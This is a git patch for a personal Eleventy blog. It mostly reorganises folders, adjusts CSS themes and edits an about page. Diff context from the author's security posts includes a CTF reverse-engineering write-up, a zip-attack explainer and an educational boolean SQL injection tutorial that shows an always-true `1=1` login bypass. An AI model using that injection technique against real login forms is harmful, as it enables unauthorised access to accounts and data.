From 26811c11c4b7460d945608297bf0ad320845828a Mon Sep 17 00:00:00 2001
From: TrebledJ <39648915+TrebledJ@users.noreply.github.com>
Date: Sun, 18 Aug 2024 03:17:49 +0800
Subject: [PATCH] Merge branch 'preview'
---
README.md | 1 +
{pages => archive}/journey-embedded.md | 0
{_includes/layouts => archive}/journey.njk | 0
{_data => archive}/journey.yml | 0
{pages => archive/profile}/profile.md | 3 +-
.../profile/profile}/awards.html | 5 +--
.../profile/profile}/education.html | 5 +--
.../profile/profile}/experiences.html | 10 +++---
.../profile/profile}/projects.html | 10 +++---
.../profile/profile}/skill-item.html | 0
.../profile/profile}/skills.html | 5 +--
.../profile/profile}/work-experiences.html | 5 +--
assets/js.bundle/search.js | 4 +--
assets/scss/_navbar.scss | 9 +++--
assets/scss/_posts.scss | 4 +++
assets/scss/_variables.scss | 4 +--
assets/scss/main.scss | 16 +++++++--
content/pages/postlike/about.md | 10 ++++--
.../2023-09-20-hitcon-2023-the-blade.md | 12 +++----
.../2024-02-15-attack-of-the-zip.md | 10 +++---
.../assets/attack-of-the-zip-thumbnail.jpg} | Bin
.../assets}/evil-zip-unveiled.jpg | Bin
.../assets}/unzip42.jpg | Bin
.../assets}/yikes-its-a-zip-bomb.jpg | Bin
...you-guys-apply-hardening-question-mark.jpg | Bin
...ating-boolean-sql-injection-with-python.md | 6 ++--
.../automating-boolean-sqli-thumbnail.png} | Bin
.../assets}/login-success.png | Bin
.../assets}/progress-bar.png | Bin
...abusing-server-side-rendering-in-drogon.md | 32 ++++++++++--------
.../assets}/craft-a-ctf-web-chal.jpg | Bin
.../drogon-dynamic-view-loading-defence.png | Bin
...-dynamic-view-loading-exec-on-filename.png | Bin
...ogon-dynamic-view-loading-exec-on-init.png | Bin
...on-dynamic-view-loading-exec-on-render.png | Bin
.../assets}/drogon-dynamic-view-loading.png | Bin
.../assets}/drogon-thumbnail.png | Bin
...mplicit-parameters-in-scala-and-haskell.md | 2 +-
.../assets/implicits.jpg | Bin
.../assets/thumbnail.jpg} | Bin
.../2023-04-24-the-mathematics-of-types.md | 2 +-
.../assets/sheesh-sum-types.jpg | Bin
.../assets/thumbnail.jpg} | Bin
.../assets/wild-types.jpg | Bin
...type-metaprogramming-is-mostly-harmless.md | 0
.../assets/doge-much-class.jpg | Bin
.../assets/magic.jpg | Bin
.../assets/output.jpg | Bin
.../assets/shocker.jpg | Bin
.../assets/table1.png | Bin
.../assets/table4.png | Bin
.../assets/thumbnail.jpg | Bin
...2024-05-23-optimising-web-icons-for-fun.md | 12 +++----
.../cache-busting-works-in-browser.png | Bin
.../cloudflare-create-cache-busting-rule.png | Bin
.../assets}/cloudflare-set-browser-ttl.png | Bin
.../assets}/fonts-are-pretty-heavy.jpg | Bin
.../optimising-web-icons-thumbnail.png} | Bin
.../assets}/y-server-no-fast.jpg | Bin
eleventy.config.js | 4 +--
{_data => partials/_data}/csp.js | 0
{_data => partials/_data}/feedtags.js | 0
{_data => partials/_data}/profile.yml | 0
{_data => partials/_data}/site.js | 0
.../_includes}/author/social-links.html | 0
.../_includes}/author/social.html | 0
{_includes => partials/_includes}/banner.html | 0
{_includes => partials/_includes}/footer.html | 0
{_includes => partials/_includes}/head.html | 0
{_includes => partials/_includes}/header.html | 0
.../_includes}/home/about-me.html | 0
.../_includes}/home/contact-form.html | 0
.../_includes}/home/contact.html | 0
.../_includes}/home/hero.html | 0
.../_includes}/home/recents.html | 0
.../_includes}/home/topic-preview.html | 0
.../_includes}/layouts/default-container.njk | 0
.../_includes}/layouts/default-full.njk | 0
.../_includes}/layouts/default.njk | 0
.../_includes}/layouts/feed.njk | 0
.../_includes}/layouts/page-default.njk | 0
.../_includes}/layouts/page-simple.njk | 0
.../_includes}/layouts/page-tag.njk | 0
.../_includes}/layouts/post-default.njk | 0
.../_includes}/layouts/post-music.njk | 0
.../_includes}/layouts/profile.njk | 0
.../_includes}/pagination-links.html | 0
.../_includes}/post/article.html | 0
.../_includes}/post/carousel.html | 0
.../_includes}/post/comments.html | 0
.../_includes}/post/metadata-preview.html | 0
.../_includes}/post/metadata.html | 0
.../_includes}/post/preview.html | 0
.../_includes}/post/related.html | 0
.../_includes}/post/share.html | 0
.../_includes}/sidebars/sidebar-utils.html | 0
.../sidebars/tag-cloud-grouped-sidebar.html | 0
.../_includes}/sidebars/toc-sidebar.html | 0
.../_includes}/tag-cloud.html | 0
{_includes => partials/_includes}/tag.html | 0
{_includes => partials/_includes}/toc.html | 0
{_includes => partials/_includes}/track.html | 0
.../_includes}/utilities/analytics.html | 0
.../_includes}/utilities/async-css.html | 0
.../_includes}/utilities/bundle-js.html | 0
.../_includes}/utilities/disqus.html | 0
.../_includes}/utilities/katex.html | 0
.../_includes}/utilities/mathjax.html | 0
.../utilities/metadata-article.html | 0
.../_includes}/utilities/metadata.html | 0
.../utilities/mobile-go-to-tags.html | 0
.../_includes}/utilities/mobile-toc.html | 0
.../_includes}/utilities/scroll-to-top.html | 0
.../_includes}/utilities/theme-switch.html | 0
ust/index.php | 4 ---
115 files changed, 102 insertions(+), 73 deletions(-)
rename {pages => archive}/journey-embedded.md (100%)
rename {_includes/layouts => archive}/journey.njk (100%)
rename {_data => archive}/journey.yml (100%)
rename {pages => archive/profile}/profile.md (76%)
rename {_includes/author => archive/profile/profile}/awards.html (94%)
rename {_includes/author => archive/profile/profile}/education.html (96%)
rename {_includes/author => archive/profile/profile}/experiences.html (70%)
rename {_includes/author => archive/profile/profile}/projects.html (70%)
rename {_includes/author => archive/profile/profile}/skill-item.html (100%)
rename {_includes/author => archive/profile/profile}/skills.html (89%)
rename {_includes/author => archive/profile/profile}/work-experiences.html (95%)
rename content/posts/infosec/{writeup-likes => attack-of-the-zip}/2024-02-15-attack-of-the-zip.md (98%)
rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip/thumbnail.jpg => attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg} (100%)
rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/evil-zip-unveiled.jpg (100%)
rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/unzip42.jpg (100%)
rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/yikes-its-a-zip-bomb.jpg (100%)
rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/you-guys-apply-hardening-question-mark.jpg (100%)
rename content/posts/infosec/{writeup-likes => automating-boolean-sqli}/2024-08-10-automating-boolean-sql-injection-with-python.md (98%)
rename content/posts/infosec/{writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png => automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png} (100%)
rename content/posts/infosec/{writeup-likes/assets/automating-sqli => automating-boolean-sqli/assets}/login-success.png (100%)
rename content/posts/infosec/{writeup-likes/assets/automating-sqli => automating-boolean-sqli/assets}/progress-bar.png (100%)
rename content/posts/infosec/{writeup-likes => drogon-csp}/2024-08-18-abusing-server-side-rendering-in-drogon.md (92%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/craft-a-ctf-web-chal.jpg (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-defence.png (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-filename.png (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-init.png (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-render.png (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading.png (100%)
rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-thumbnail.png (100%)
rename content/posts/programming/concepts/{ => implicit-parameters}/2022-10-15-implicit-parameters-in-scala-and-haskell.md (99%)
rename content/posts/programming/concepts/{ => implicit-parameters}/assets/implicits.jpg (100%)
rename content/posts/programming/concepts/{assets/implicits-thumbnail.jpg => implicit-parameters/assets/thumbnail.jpg} (100%)
rename content/posts/programming/concepts/{ => mathematics-of-types}/2023-04-24-the-mathematics-of-types.md (99%)
rename content/posts/programming/concepts/{ => mathematics-of-types}/assets/sheesh-sum-types.jpg (100%)
rename content/posts/programming/concepts/{assets/abstract.jpg => mathematics-of-types/assets/thumbnail.jpg} (100%)
rename content/posts/programming/concepts/{ => mathematics-of-types}/assets/wild-types.jpg (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/doge-much-class.jpg (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/magic.jpg (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/output.jpg (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/shocker.jpg (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/table1.png (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/table4.png (100%)
rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/thumbnail.jpg (100%)
rename content/posts/programming/mini-projects/{ => optimising-web-icons}/2024-05-23-optimising-web-icons-for-fun.md (95%)
rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cache-busting-works-in-browser.png (100%)
rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cloudflare-create-cache-busting-rule.png (100%)
rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cloudflare-set-browser-ttl.png (100%)
rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/fonts-are-pretty-heavy.jpg (100%)
rename content/posts/programming/mini-projects/{assets/webicons/icons-thumbnail.png => optimising-web-icons/assets/optimising-web-icons-thumbnail.png} (100%)
rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/y-server-no-fast.jpg (100%)
rename {_data => partials/_data}/csp.js (100%)
rename {_data => partials/_data}/feedtags.js (100%)
rename {_data => partials/_data}/profile.yml (100%)
rename {_data => partials/_data}/site.js (100%)
rename {_includes => partials/_includes}/author/social-links.html (100%)
rename {_includes => partials/_includes}/author/social.html (100%)
rename {_includes => partials/_includes}/banner.html (100%)
rename {_includes => partials/_includes}/footer.html (100%)
rename {_includes => partials/_includes}/head.html (100%)
rename {_includes => partials/_includes}/header.html (100%)
rename {_includes => partials/_includes}/home/about-me.html (100%)
rename {_includes => partials/_includes}/home/contact-form.html (100%)
rename {_includes => partials/_includes}/home/contact.html (100%)
rename {_includes => partials/_includes}/home/hero.html (100%)
rename {_includes => partials/_includes}/home/recents.html (100%)
rename {_includes => partials/_includes}/home/topic-preview.html (100%)
rename {_includes => partials/_includes}/layouts/default-container.njk (100%)
rename {_includes => partials/_includes}/layouts/default-full.njk (100%)
rename {_includes => partials/_includes}/layouts/default.njk (100%)
rename {_includes => partials/_includes}/layouts/feed.njk (100%)
rename {_includes => partials/_includes}/layouts/page-default.njk (100%)
rename {_includes => partials/_includes}/layouts/page-simple.njk (100%)
rename {_includes => partials/_includes}/layouts/page-tag.njk (100%)
rename {_includes => partials/_includes}/layouts/post-default.njk (100%)
rename {_includes => partials/_includes}/layouts/post-music.njk (100%)
rename {_includes => partials/_includes}/layouts/profile.njk (100%)
rename {_includes => partials/_includes}/pagination-links.html (100%)
rename {_includes => partials/_includes}/post/article.html (100%)
rename {_includes => partials/_includes}/post/carousel.html (100%)
rename {_includes => partials/_includes}/post/comments.html (100%)
rename {_includes => partials/_includes}/post/metadata-preview.html (100%)
rename {_includes => partials/_includes}/post/metadata.html (100%)
rename {_includes => partials/_includes}/post/preview.html (100%)
rename {_includes => partials/_includes}/post/related.html (100%)
rename {_includes => partials/_includes}/post/share.html (100%)
rename {_includes => partials/_includes}/sidebars/sidebar-utils.html (100%)
rename {_includes => partials/_includes}/sidebars/tag-cloud-grouped-sidebar.html (100%)
rename {_includes => partials/_includes}/sidebars/toc-sidebar.html (100%)
rename {_includes => partials/_includes}/tag-cloud.html (100%)
rename {_includes => partials/_includes}/tag.html (100%)
rename {_includes => partials/_includes}/toc.html (100%)
rename {_includes => partials/_includes}/track.html (100%)
rename {_includes => partials/_includes}/utilities/analytics.html (100%)
rename {_includes => partials/_includes}/utilities/async-css.html (100%)
rename {_includes => partials/_includes}/utilities/bundle-js.html (100%)
rename {_includes => partials/_includes}/utilities/disqus.html (100%)
rename {_includes => partials/_includes}/utilities/katex.html (100%)
rename {_includes => partials/_includes}/utilities/mathjax.html (100%)
rename {_includes => partials/_includes}/utilities/metadata-article.html (100%)
rename {_includes => partials/_includes}/utilities/metadata.html (100%)
rename {_includes => partials/_includes}/utilities/mobile-go-to-tags.html (100%)
rename {_includes => partials/_includes}/utilities/mobile-toc.html (100%)
rename {_includes => partials/_includes}/utilities/scroll-to-top.html (100%)
rename {_includes => partials/_includes}/utilities/theme-switch.html (100%)
delete mode 100644 ust/index.php
diff --git a/README.md b/README.md
index 8b03ed410..3d4be21cb 100644
--- a/README.md
+++ b/README.md
@@ -56,6 +56,7 @@ This site was inspired and built from many libraries. Mentioning all of them wou
* Cloudflare Pages – Hosting.
* imgflip – Quintessential Meme Generator.
* Cloudflare Analytics.
+* [Yusuke Nakaya's Beautiful Shooting Star CSS Animation](https://codepen.io/YusukeNakaya/pen/XyOaBj).
### 3rd Party Libs
* jQuery.
diff --git a/pages/journey-embedded.md b/archive/journey-embedded.md
similarity index 100%
rename from pages/journey-embedded.md
rename to archive/journey-embedded.md
diff --git a/_includes/layouts/journey.njk b/archive/journey.njk
similarity index 100%
rename from _includes/layouts/journey.njk
rename to archive/journey.njk
diff --git a/_data/journey.yml b/archive/journey.yml
similarity index 100%
rename from _data/journey.yml
rename to archive/journey.yml
diff --git a/pages/profile.md b/archive/profile/profile.md
similarity index 76%
rename from pages/profile.md
rename to archive/profile/profile.md
index ecdd9c95b..7c09aef50 100644
--- a/pages/profile.md
+++ b/archive/profile/profile.md
@@ -1,7 +1,6 @@
---
title: TrebledJ's Profile
-layout: profile
-permalink: /profile/
+layout: layouts/profile
redirect_from:
- /online-cv
- /cv
diff --git a/_includes/author/awards.html b/archive/profile/profile/awards.html
similarity index 94%
rename from _includes/author/awards.html
rename to archive/profile/profile/awards.html
index bd3c0aab0..6766d9566 100644
--- a/_includes/author/awards.html
+++ b/archive/profile/profile/awards.html
@@ -1,4 +1,5 @@
-
{{set.category}}
@@ -15,4 +16,4 @@
{% endfor %}
{% endfor %}
{% endfor %}
-{% endfor %}
\ No newline at end of file
+{% endfor %} #}
\ No newline at end of file
diff --git a/_includes/author/work-experiences.html b/archive/profile/profile/work-experiences.html
similarity index 95%
rename from _includes/author/work-experiences.html
rename to archive/profile/profile/work-experiences.html
index 562a78615..2c93b1648 100644
--- a/_includes/author/work-experiences.html
+++ b/archive/profile/profile/work-experiences.html
@@ -1,4 +1,5 @@
-
+TODO
+{#
{% for exp in site.data.profile.work_experiences %}
{% if exp.visibility %}
-
@@ -22,4 +23,4 @@
{% endif %}
{% endfor %}
-
\ No newline at end of file
+
#}
\ No newline at end of file
diff --git a/assets/js.bundle/search.js b/assets/js.bundle/search.js
index 1d06fb597..008d1b0ad 100644
--- a/assets/js.bundle/search.js
+++ b/assets/js.bundle/search.js
@@ -169,13 +169,13 @@ async function loadSearch(searchBox, resultDiv) {
addResults(result);
});
-
+
searchBox.trigger('keyup'); // Trigger a search and pre-fill results.
}
$(() => {
const searchBox = $('input#search-box');
- const resultDiv = $('#search-results-list');
+ const resultDiv = $('#search-results-list')
$('.modal').on('shown.bs.modal', async function () {
$(this).find('[autofocus]').trigger('focus');
diff --git a/assets/scss/_navbar.scss b/assets/scss/_navbar.scss
index 2a0835336..39848e121 100644
--- a/assets/scss/_navbar.scss
+++ b/assets/scss/_navbar.scss
@@ -9,10 +9,15 @@ header {
.navbar {
--bs-navbar-padding-x: 2vw !important;
background-color: var(--main-background-color);
- border-bottom: 1px solid var(--border-color);
- box-shadow: 0 8px 20px rgba(0, 0, 0, .05);
width: 100vw;
+ html[data-theme="light"] & {
+ box-shadow: 0 25px 15px rgba(0, 0, 0, .05);
+ }
+ html[data-theme="dark"] & {
+ border-bottom: 1px solid var(--border-color);
+ }
+
@include media-breakpoint-down(md) {
--bs-navbar-padding-x: 0 !important;
}
diff --git a/assets/scss/_posts.scss b/assets/scss/_posts.scss
index 6b0c31dd1..f7bda3264 100644
--- a/assets/scss/_posts.scss
+++ b/assets/scss/_posts.scss
@@ -98,6 +98,10 @@
color: var(--bold-color);
}
+ a b, a strong {
+ color: inherit;
+ }
+
// Default most elements to have top margin instead of bottom margin.
// *:not(ul, ol, li, hr, svg, p>a, .gist *)
p,
diff --git a/assets/scss/_variables.scss b/assets/scss/_variables.scss
index 885e15a26..2850cafa8 100644
--- a/assets/scss/_variables.scss
+++ b/assets/scss/_variables.scss
@@ -88,14 +88,14 @@ html[data-theme="light"] {
--accent-color-rgb: var(--link-color-rgb);
--special-color-rgb: 120, 90, 200;
- --main-background-color-rgb: 255, 255, 255;
+ --main-background-color-rgb: 235, 240, 255;
--medium-background-color-rgb: 240, 240, 240;
--light-background-color-rgb: 210, 210, 210;
--bold-color-rgb: 0, 0, 0;
--contrast-color-rgb: var(--bold-color-rgb);
--highlight-color-rgb: 190, 190, 190;
- --border-color-rgb: 230, 230, 230;
+ --border-color-rgb: 190, 190, 190;
--main-text-color-rgb: 10, 10, 10;
--light-text-color-rgb: 51, 51, 51;
diff --git a/assets/scss/main.scss b/assets/scss/main.scss
index 6725f85d1..8c083d332 100644
--- a/assets/scss/main.scss
+++ b/assets/scss/main.scss
@@ -73,6 +73,15 @@ $carousel-transition: transform 2s ease, opacity 1.5s ease-out .5s;
@import "toc-sidebar";
+html[data-theme="dark"] {
+ *::selection {
+ background-color: #1b1b84;
+ }
+ *::-moz-selection {
+ background-color: #1b1b84;
+ }
+}
+
.jtag {
display: inline-block;
margin: 3px 2px;
@@ -109,7 +118,7 @@ $carousel-transition: transform 2s ease, opacity 1.5s ease-out .5s;
color: var(--contrast-color) !important;
--clr: var(--link-color);
animation: tag-box 3s infinite;
-
+
}
&.special:hover {
color: var(--contrast-color) !important;
@@ -272,6 +281,7 @@ p.subheading {
overflow-y: hidden;
}
-a.lightbox-single, .lightbox-gallery > a {
+a.lightbox-single,
+.lightbox-gallery > a {
background-image: none;
-}
+}
\ No newline at end of file
diff --git a/content/pages/postlike/about.md b/content/pages/postlike/about.md
index f4c817be3..588bb69f2 100644
--- a/content/pages/postlike/about.md
+++ b/content/pages/postlike/about.md
@@ -55,7 +55,7 @@ Built this website. Tada?
{% tag "composition" %}
-My composing journey began in Grade 10 (~中四) when my music teacher assigned composition homework. Not only that—he introduced us to interesting composition techniques and took us on a tour analysing Joe Hisashi's Studio Ghibli music. Since then, I've been writing down ideas and organising them into coherent pieces.
+My composing journey began in Grade 10 (~中四) when my music teacher assigned composition homework. Not only that—he introduced us to interesting composition techniques and took us on a (theoretical) tour analysing Joe Hisashi's Studio Ghibli music. Since then, I've been writing down ideas and organising them into coherent pieces.
In uni, I picked up electronic music composition (mixing/production) during a course taught by Prof. Timothy Page.
@@ -208,4 +208,10 @@ Moreover, I want the site to be hackable (in the open-source sense) and approach
#### Why did you choose Eleventy as your site generator?
-See [Site Migration to Eleventy](/posts/site-migration-to-eleventy/).
+- Framework-independent.
+- Nunjucks is a more powerful templating language compared to Liquid, so I get to iterate more quickly. Pains here are Nunjuck macros don't work with async (contributing to longer build times), and error message interop with Eleventy is hard to decipher.
+- Loads of decent Eleventy plugins by decent folks.
+- JS and Node are mature ecosystems, so some libraries just work™. The only major pains are import styles (ESM vs. CommonJS) and bloat (libraries/tooling).
+- Active community/development.
+
+See also: [Site Migration to Eleventy](/posts/site-migration-to-eleventy/).
diff --git a/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md b/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md
index bfac80123..69e19029d 100644
--- a/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md
+++ b/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md
@@ -7,14 +7,14 @@ tags:
- python
- programming
thumbnail_src: assets/hitcon-thumbnail.jpg
+preamble: |
+ This writeup is also intended for beginners. I’ll be taking a didactic approach to this writeup, with some sections starting with questions for guidance.^[Also, a good excuse for me to introduce !!spoilers!! to this site!] Anytime there's a set of questions, feel free to pause, challenge yourself, and think through them. :) If you want to follow along, you can grab the challenge binary [*here*](https://github.com/TrebledJ/ctf-binaries/tree/c8e9259c8f7d9cee149d99269d9b691cf54e53b9/hitcon-2023/the-blade).
+
+ I'll be mainly using [ghidra](https://ghidra-sre.org/) as my decompiler, along with GDB + GEF. For those unfamiliar with GDB, you may find my [recently posted cheatsheet](/posts/gdb-cheatsheet) helpful.
---
My first Rust {% tag "rev", "reverse" %} solve! Though in hindsight, not much Rust knowledge was needed.
-This writeup is also intended for beginners. I’ll be taking a didactic approach to this writeup, with some sections starting with questions for guidance.^[Also, a good excuse for me to introduce !!spoilers!! to this site!] Anytime there's a set of questions, feel free to pause, challenge yourself, and try thinking through them. :) If you want to follow along, you can grab the challenge binary [*here*](https://github.com/TrebledJ/ctf-binaries/tree/c8e9259c8f7d9cee149d99269d9b691cf54e53b9/hitcon-2023/the-blade).
-
-I'll be mainly using [ghidra](https://ghidra-sre.org/) as my decompiler, along with GDB + GEF. For those unfamiliar with GDB, you may find my [recently posted cheatsheet](/posts/gdb-cheatsheet) helpful.
-
## Description
> *A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.*
@@ -28,7 +28,7 @@ Author: [wxrdnx](https://github.com/wxrdnx)
Let’s start by running the binary. We can get a feel by navigating the program with `help` and other commands.
-Turns out we’re given a C2 (Command and Control) interface which sends shellcodes. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.
+Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.
Anyhow, we can start the server with:
@@ -114,7 +114,7 @@ Time to play the UNO reverse card on this binary!
- There are 3 parts to the encryption. What addresses do they begin and end?
- What is each part doing?
-Let’s recognise some highs level patterns.
+Let’s recognise some high level patterns.
It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.
diff --git a/content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md b/content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md
similarity index 98%
rename from content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md
rename to content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md
index 8f3259ace..968ab6108 100644
--- a/content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md
+++ b/content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md
@@ -10,7 +10,7 @@ tags:
- ctf
- linux
- windows
-thumbnail_src: assets/attack-of-the-zip/thumbnail.jpg
+thumbnail_src: assets/attack-of-the-zip-thumbnail.jpg
tocOptions: '{"tags":["h2","h3","h4"]}'
preamble: |
*Last month, I designed a CTF challenge involving zip file attacks. This post is a collection of the techniques, insights, and notes I've gathered. I've also uploaded the challenge on [GitHub](https://github.com/TrebledJ/attack-of-the-zip) along with a simplified playground.*
@@ -20,7 +20,7 @@ Zip files are *everywhere* in our daily lives, seamlessly integrated into our pe
But as we know from *Silicon Valley*, zip files have the potential to be dangerous.
-{% image "assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg", "w-80", "Filmmakers' impression of a zip bomb." %}
+{% image "assets/yikes-its-a-zip-bomb.jpg", "w-80", "Filmmakers' impression of a zip bomb." %}
YouTube: [Silicon Valley - The Ultimate Hack](https://www.youtube.com/watch?v=jnDk8BcqoR0){.caption}
In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.
@@ -33,7 +33,7 @@ Disclaimer: The content provided in this blog post is intended purely for educat
## Zip Attacks
-{% image "assets/attack-of-the-zip/evil-zip-unveiled.jpg", "w-50", "Fred dissects evil zip files. Spoofy-spoofy doo!" %}
+{% image "assets/evil-zip-unveiled.jpg", "w-50", "Fred dissects evil zip files. Spoofy-spoofy doo!" %}
### Zip Slip ⛸
@@ -301,7 +301,7 @@ Zip bombs are designed to cripple computers, systems, and virus scanners (rather
{% images "h-auto" %}
{% image "https://i.redd.it/68j4sr9h3dg21.jpg" %}
{% image "https://img.devrant.com/devrant/rant/r_674011_CfdZB.jpg" %}
-{% image "assets/attack-of-the-zip/unzip42.jpg" %}
+{% image "assets/unzip42.jpg" %}
{% endimages %}
Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?^[There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched.]
@@ -374,7 +374,7 @@ Let's explore a few ways to mitigate zip attacks. (Some of these can also be app
### Permissions
*For sysadmins.*
-{% image "assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg", "w-60", "Input sanitisation? Never heard of it!" %}
+{% image "assets/you-guys-apply-hardening-question-mark.jpg", "w-60", "Input sanitisation? Never heard of it!" %}
{% alert "success" %}
1. Avoid running applications as `root` or `Administrator`. Instead, run it with a minimum privilege user.
diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/thumbnail.jpg b/content/posts/infosec/attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/thumbnail.jpg
rename to content/posts/infosec/attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg
diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/evil-zip-unveiled.jpg b/content/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/evil-zip-unveiled.jpg
rename to content/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled.jpg
diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/unzip42.jpg b/content/posts/infosec/attack-of-the-zip/assets/unzip42.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/unzip42.jpg
rename to content/posts/infosec/attack-of-the-zip/assets/unzip42.jpg
diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg b/content/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg
rename to content/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb.jpg
diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg b/content/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark.jpg
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg
rename to content/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark.jpg
diff --git a/content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md
similarity index 98%
rename from content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md
rename to content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md
index 49577ec3c..6c872a986 100644
--- a/content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md
+++ b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md
@@ -7,7 +7,7 @@ tags:
- web
- programming
- writeup
-thumbnail_src: assets/automating-sqli/bbb-sqli-thumbnail.png
+thumbnail_src: assets/automating-boolean-sqli-thumbnail.png
thumbnail_banner: true
preamble: |
*This is meant as an introductory post on Boolean-Based SQLi and automation with Python; with ideas, tricks, and tips gleaned from developing [a custom SQLi script](https://github.com/TrebledJ/bsqli.py). More experienced scripters or pentesters may find the middle sections more informative.*
@@ -74,7 +74,7 @@ where everything after `--` is treated as a comment.
Since `1=1` is always true, all users will be selected, and the page returns: "Login successful".
-{% image "assets/automating-sqli/login-success.png", "", "Basic Proof-of-Concept showing a *TRUE*/*FALSE* response from our demo server." %}
+{% image "assets/login-success.png", "", "Basic Proof-of-Concept showing a *TRUE*/*FALSE* response from our demo server." %}
Using this, we can detect *TRUE* responses by checking if the body contains "success".
@@ -253,7 +253,7 @@ Common options are:
- [`rich`](https://github.com/Textualize/rich), colourful, great look-and-feel
- [`tqdm`](https://github.com/tqdm/tqdm), traditional rectangular progress bar
-{% image "assets/automating-sqli/progress-bar.png", "", "Example of a `rich` progress bar in action." %}
+{% image "assets/progress-bar.png", "", "Example of a `rich` progress bar in action." %}
Some challenges arise when mixing progress bars with multithreading. In general...
diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png b/content/posts/infosec/automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png
similarity index 100%
rename from content/posts/infosec/writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png
